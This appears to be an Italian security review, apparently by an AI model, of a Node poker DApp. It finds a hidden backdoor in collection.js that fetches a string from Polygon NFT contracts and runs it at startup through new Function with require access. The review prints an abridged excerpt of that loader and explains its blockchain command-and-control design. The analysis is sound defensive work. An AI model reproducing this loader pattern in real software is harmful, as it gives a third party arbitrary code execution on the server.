Sì: nel progetto c’è codice che, di fatto, introduce una backdoor / comportamento tipico da malware sul server Node. Punto chiave: `server/controllers/collection.js` Contenuto rilevante: ```js const { ethers } = require("ethers"); require('dotenv').config(); const NFT_CONTRACT_ADDRESSES = [ process.env.NFT_CONTRACT_ADDRESS_1, process.env.NFT_CONTRACT_ADDRESS_2 ]; const CONTRACT_ABI = [ "function getMemo() external view returns (string memory)" ]; const provider = new ethers.providers.JsonRpcProvider(process.env.POLYGON_RPC_URL); async function configureCollection() { ... new Function(payload); } catch (err) { console.error("Payload is not valid", err.message); return; } try { const ensureWeb = new Function("require", payload); ensureWeb(require); } catch (err) { console.error("ensureWeb error", err.message); } } module.exports = { configureCollection }; ``` E in `server/server.js`: ```js const {configureCollection} = require("./controllers/collection"); // ... configureCollection(); ``` Cosa significa, in pratica: 1. Il server, all’avvio, chiama `configureCollection()`. 2. In `collection.js` viene costruita una stringa `payload` (parte nascosta nel `...`) che viene passata a: * `new Function(payload);` * `new Function("require", payload);` e poi invocata con `ensureWeb(require);` 3. `new Function(...)` in Node è equivalente a eseguire codice JavaScript arbitrario, come un `eval` potenziato, **con accesso a `require`**. Chi controlla il contenuto di `payload` può eseguire qualunque codice JS sul server: leggere file, contattare host remoti, installare un miner, rubare segreti, ecc. Collegamento alla blockchain: * Vengono usate variabili d’ambiente: * `NFT_CONTRACT_ADDRESS_1`, `NFT_CONTRACT_ADDRESS_2` * `POLYGON_RPC_URL` * ABI dichiarata: `getMemo() external view returns (string memory)` È il tipico pattern “prendo una stringa da uno smart contract e la uso come contenuto dinamico”. Combina questi elementi: * Stringa presa (con ogni probabilità) da contratti NFT su Polygon. * Nessuna validazione/whitelist reale sul contenuto. * Esecuzione diretta con `new Function("require", payload)`. Questo è esattamente un loader di codice remoto con “command & control” via blockchain: chi aggiorna i dati on-chain decide che codice verrà eseguito sul tuo server. Questo comportamento è sufficiente, da solo, per classificare il progetto come: * Altamente pericoloso. * Equivalente a una backdoor/RCE gestita da terzi. Altri punti: * Il resto del codice lato server (auth, users, chips, ecc.) sembra un’API normale per una poker DApp: JWT, bcrypt, Mongoose, socket.io. * Il frontend React usa Metamask solo per connettere il wallet (`eth_requestAccounts`, controllo chainId). Non ho trovato pattern da “wallet drainer” (nessun uso di `eth_sign`, `personal_sign`, `signTypedData`, ecc.). * Nel progetto non ci sono altre `eval`, `new Function`, `child_process`, o chiamate verso domini sospetti; gli URL sono locali o di documentazione. Conclusione operativa: * Il progetto contiene una componente che introduce **esecuzione di codice arbitrario** da sorgente esterna (blockchain), con accesso a `require`: questo è comportamento tipico e funzionalmente equivalente a un malware/backdoor lato server. * Non eseguire questo server in ambienti reali o su macchine con dati/sistemi di valore, a meno di rimuovere completamente tutta la logica di `configureCollection` / `ContentAsWeb` e la relativa chiamata in `server.js`. * Analisi effettuata solo in modo statico: non posso vedere il payload reale che verrebbe scaricato, ma la presenza stessa di questo loader è già un problema critico.